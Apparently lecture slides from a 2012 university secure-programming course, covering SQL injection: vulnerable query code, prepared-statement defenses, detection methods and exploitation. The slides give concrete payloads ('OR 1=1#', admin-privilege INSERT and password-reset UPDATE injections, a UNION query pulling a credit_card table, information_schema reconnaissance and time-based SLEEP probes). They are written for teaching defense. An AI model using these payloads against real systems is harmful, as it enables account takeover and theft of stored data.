SQL injection

Secure Programming

Lecture 4

In the news

XSS vulnerabilities enable attackers to steal Yahoo! accounts (story)

Yahoo! fixes the vulnerability

Yahoo! is still vulnerable (story)

Admin

You MUST subscribe to the course mailing list:
http://groups.google.com/group/bham-secure-programming-2012?hl=en

I will use it for announcement

If you have questions/findings/other that you want to share with the rest of the class, feel free to send them to the list

Admin

Demonstration sessions are scheduled:

Wednesdays, 10am–12pm, Room 217
Except Feb 6 (no session)
But there is a session on Friday, 10am–12pm, Room 217

After subscribing to the mailing list, you will also be able to access a calendar with the demonstration sessions.

Need to contact Maxim?
Drop him an email at M.Strygin@cs.bham.ac.uk

Admin

MWR InfoSecurity has kindly offered to host a workshop on vulnerabilities and exploits

15th February, starting at 10am (~5 hours)
No class on Thursday 14
Bring your laptop

Where are we?

We saw a process we can follow to help us find vulnerabilities in an application

Now it's time to look into specific classes of vulnerabilities (and exploits)

Injection vulnerabilities

General class of vulnerabilities

application expects input from user to be used in some “command”
input is not properly validated
command semantics changes after plugging in user's input

Several instances:

SQL injection
shell command injection
XPATH injection

SQL injection basics

SQL queries are built using (unsanitized) user's data

String q = "SELECT user, pwd FROM users "
    + "WHERE user = '" + request.getParameter("user") + "' ";
    ﬆmt.executeQuery(q);

If the attacker provides as parameter special characters such as ‘ (tick), -- (comment), + (space), % (wildcard), it is possible to:

modify queries in an unexpected way
probe the database
run commands (e.g., using xp_commandshell in MS SQL Server)

Remember Computer Security module?

SQL injection

SQL injection basics (cont'd)

"SELECT user, pwd FROM users "
+ "WHERE user= '" + request.getParameter("user") + "' ";

SQL query:

SELECT user, pwd FROM users WHERE user = 'foo'

SQL injection basics (cont'd)

"SELECT user, pwd FROM users "
+ "WHERE user= '" + request.getParameter("user") + "' ";

SQL query:

SELECT user, pwd FROM users WHERE user = '' OR 1=1#'

SQL injection: defenses

The application is not vulnerable if it uses prepared statements

import java.sql.PreparedStatement;

PreparedStatement authQuery = conn.prepareStatement(
    "SELECT user, pwd FROM users WHERE user = ?");
authQuery.setString(1, request.getParameter("user"));
authQuery.executeQuery();

Finding SQL injection (whitebox)

Three-step process:

identify all queries that do not use prepared statement and accept input from user
trace back from the queries to identify sanitizations applied to user's input (if any)
determine if sanitization is effective

Finding SQL injection (whitebox)

Vulnerable?

$username = $_GET["user"];
if (!preg_match("/^[a-zA-Z0-9@_]+$/", $username)) {
    $username = "INVALID_USERNAME";
}
mysql_query("SELECT * FROM user where username = '" . $username . "'");

Finding SQL injection (whitebox)

Vulnerable?

$username = $_GET["user"];
$username_cleaned = ereg_replace("[^A-Za-z0-9 -@_]", "", $username);
mysql_query("SELECT * FROM user where username = '" . $username . "'");

In a character class, ' -@' means “all characters between space and '@'”

attack string:
```
' OR 1=1#
```

Regular expressions can be tricky

Finding SQL injection (blackbox)

Provide the application specially-crafted values and check if they cause errors

Inject expression (typically a tautology) and check if it is interpreted:

user=' OR 1=1 #

Exploiting SQL injections

Take advantage of server’s error messages to learn the structure of the database and its tables

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from users' at line 1

Exploiting different statement types

INSERT INTO users (user, pwd, privs) VALUES (‘foo’, ‘bar’, 1)

Suppose user field is vulnerable

Attacker submits:

foo’, ‘bar’, 0) #

User foo is now registered with administrative privileges (0)

Exploiting different statement types

UPDATE users SET pwd = ‘newbar’ WHERE user = ‘foo’ AND pwd = ‘bar’

Again, suppose user field is vulnerable

Attacker submits:

admin' #

Attacker resets the admin’s password to a string of his/her choice

Exploiting SQL injections — cont'd

Suppose you have identified a SQL injection in the following query used in the login page:

SELECT user, pwd FROM users WHERE user = ' + 
request.getParameter("user") + '

Great: you can enumerate all users and their passwords.

What if you are interested in the content of the credit_card table?

UNION operator to the rescue:
foo' UNION SELECT cc_n, cc_name FROM credit_card

Database reconnaissance

Finding out more information about the database (MySQL specific)

List database users:
SELECT DISTINCT user FROM mysql.user
List tables in database:
SELECT table_name, table_schema FROM information_schema.tables

Database reconnaissance

Finding out more information about the database (MySQL specific)

Get column name and type for a table in a given DB:
SELECT column_name, column_type FROM information_schema.columns WHERE table_schema = "mydb" AND table_name = "credit_card"

Blind SQL injection

Suppose error messages are disabled
→ unsure whether injection succeded

How do we know if execution was successful?

Techniques:

conditional responses (e.g., timing)
out-of-band channel

Conditional responses

We leverage the SQL injection to ask boolean questions to the server, e.g.,
- are we running as root?
- Is the first letter of the current database 'a'?
Technique
- establish baseline: determine what response is provided by the application for a true question (“true page”) and for a false question (“false page”)
- inject question
- Compare result with baseline:
  did we obtain a true page or a false page?

Conditional responses

Scenario:

Assume there is a SQL injection on product_id parameter:
/view?product_id=N
True page: “Details about product…”
False page: “No information about the product you searched”

Injections:

product_id=42 AND user() = "root"
product_id=42 AND substring(database(), 1, 1) = 'a'

Establishing the baseline

Keywords:

Search for keywords that appear in the true page only
and in the false page only

Hash:

Hash the content of the resulting page (e.g., MD5)

HTML structure differences:

Differences in the structure of the returned pages

Useful inputs to determine baseline:

True question: 1=1
False question: 1=0

Time-based techniques

Leverage time delays to infer execution status

Often attacker can force query to take long time if certain condition is met

waitfor (SQL Server)
sleep (MySQL)

Technique:

Hypothesis: “we are running as root”
Validation: issue a query that takes 5 seconds if the current user is actually root, else it terminates very quickly

Time-based techniques (MySQL)

Are we running as root?
SELECT IF (USER()="root", SLEEP(5), 1);

Is the first letter of the user 'a'?
SELECT IF(SUBSTRING(USER(), 1, 1) = 'a', SLEEP(10), 2); 1 row in set (0.00 sec)

Is the first letter of the user 'n'?
SELECT IF(SUBSTRING(USER(), 1, 1) = 'n', SLEEP(10), 2); 1 row in set (10.00 sec)